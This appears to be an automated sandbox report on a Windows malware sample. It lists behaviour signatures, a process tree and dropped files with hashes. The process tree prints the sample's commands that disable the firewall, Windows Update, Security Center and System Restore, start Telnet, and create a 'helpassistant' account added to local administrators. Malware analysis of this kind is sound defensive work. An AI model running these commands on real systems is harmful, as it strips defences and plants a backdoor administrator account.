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2026-04-17...ar.exe

windows10-2004-x64

9

2026-04-17...ar.exe

windows11-21h2-x64

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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    17/04/2026, 04:02

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General

  • Target
    2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
  • Size 4.5MB
  • Sample260417-elsm8aey5m
  • SHA256 062f09cbd84e71fa794f67a2e0a9731c1cbdfc615383d364870c664e0b8af6c0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecution

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2404
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3084
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4604
    • C:\Users\Admin\AppData\Local\Temp\2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
      2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
      2⤵
      • Executes dropped EXE
      PID:4496
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:368
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:416
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:756
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4972
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1372
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:692
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4212
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1744
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4804
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:684
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4264
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4404
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1216
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3912
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3136
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4304
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2636
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3372
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5044
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2676
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4108
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2520
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:984

Network

        MITRE ATT&CK Enterprise v16

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        7z.exe
        • Path C:\Program Files\7-Zip\7z.exe
        • Size 2.5MB
        • SHA256 bddcd6cf6c06ae75de60dc2d7ddb9c76c3150f21441c506f0b187f91d5858bd9
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        7zFM.exe
        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 2.9MB
        • SHA256 d5b803790c33d2906832c23adc98765b6a83788a63ae4edfbdbe64c28c6fc964
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        7zG.exe
        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 2.7MB
        • SHA256 b22449884d46c9260c8a50bf0f16ba9f1d0d8e2e02f77d7eadb93e572c8d050f
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        Uninstall.exe
        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 2.0MB
        • SHA256 1e975c2ab165fb93fbb1aafbc3f1ab104bb08bcd33da7fe4554f377e2c0b010a
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        chrmstp.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 8.1MB
        • SHA256 ae260ad425a53fd1e634205805af5949cac35e6927439034be1aa9c8a948ad30
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        chrome_pwa_launcher.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 3.7MB
        • SHA256 8ccedc6cf36dae5de3ca720f545202b481b1f69848ad3735a86212c87eff985e
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        elevated_tracing_service.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 5.5MB
        • SHA256 b751f8b82b43eb321161e1031d0f0fb79c0f3259499a04c6b52234223276be54
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        elevation_service.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 4.3MB
        • SHA256 6a4f17dc2ad34526efeef25d502fe377c03e65f16ec637ec7067f6d25c17e167
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        os_update_handler.exe
        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 3.9MB
        • SHA256 4cb326f3ba2384af5b2ae87b2429b9edf0b3d08429a0a1b55427456d7a5b1b85
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        chrome.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 5.1MB
        • SHA256 bbbd1fa974e712f5c32b67cb136d8b3ea5da02375386ba9d0d8dbacfc6071884
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        chrome_proxy.exe
        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 3.4MB
        • SHA256 e6775f3c8439cf0b4ad3bc815965fb267435d0e6ec74e1cfcbd8ae301ebc87de
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        appletviewer.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 2.0MB
        • SHA256 74dc48d6c953b947928fe74ad6963343a11cb4497f9faa2d87f120efada8a1c2
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        extcheck.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\extcheck.exe
        • Size 2.0MB
        • SHA256 c4b18b300e9b10abe752414fb812e5876ee9feb4bceeb9fe1024940054027367
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        idlj.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 2.0MB
        • SHA256 572bcd020b1432d2ebb2fad8ff9971dad5a15a420b34ffbbd5b89f486709dd30
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        jabswitch.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 2.0MB
        • SHA256 92a30d4d21fb54c5f2cc3205803d30b0aa5cdbb4efb2978fd4e9995553bb1064
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        jar.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 2.0MB
        • SHA256 ee56360cb7a89a8726f4af72f7974812b58a79ced9a8d80cba883ab8270a7c09
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        jarsigner.exe
        • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
        • Size 2.0MB
        • SHA256 5638143814874a9c852aa3f5f50b51373ac5a5c7fcf5e99fa2ef04fb23c5a72e
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        dotnet.exe
        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 2.1MB
        • SHA256 5567f7aab056a73565730986d7bc926e1332ef126db09556a05e72be51714d50
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        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 2.1MB
        • SHA256 e92fc11b4b07c03dd926a2bf581d1306571db21bc6c4d6ab2c6e22b6ec90f05d
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        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 2.1MB
        • SHA256 a62e8c4404d49e9430d5cf338d9c3e4982cd19f5ec4a60fc6e06594796560b93
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        createdump.exe
        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 2.1MB
        • SHA256 9bef96199bda38da3b47361f8f58e2b0683f305054208d31e16b5084c691d45c
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        2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
        • Path C:\Users\Admin\AppData\Local\Temp\2026-04-17_96cf0baf3529bd77f9d0c37da4ba7b5f_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~4.exe
        • Size 2.5MB
        • SHA256 5f007e11792dad234c3a50e1ae7db1324ba346490e5c32f71db2e2b3132c94ac
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        Option.bat
        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
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        UpdatAuto.exe
        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 2.0MB
        • SHA256 8c6e74b96c7b9b4254fae22d5c77dd688c83016976db5f71273aab0c3fa58833
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 60ff61dbd11330daab9933b3574e75c8068202c073aeb1c66274d868bfd9a9d3
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 5e5e7fc2274ba3f3132d589338dd4f1f48813de5940e58693f0d197773ba5900
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 8658f3f162d12eacefac1cac69bf4521b939907191b7c87a1a5d06ae3f812ee8
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 a5e9d1982bc64de60ae2858a6ab4e753280f2faaf0050fe2649d793c1a720c47
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 5b359ce1298981b768eaf58a230a4faf415f6be9e27f581d841a745edde507ad
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 072f2ae30a780b4ee70dc7bca08aaa934824b22a2474cd1260ba161714274b0b
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 2.0MB
        • SHA256 763bf36dff593ed505f515fdc974496744b37227bb1d8f598434d8528be24130
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        memory/1056-54-0x00000000008A0000-0x00000000009C0000-memory.dmp
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        memory/3084-64-0x00000000008A0000-0x00000000009C0000-memory.dmp
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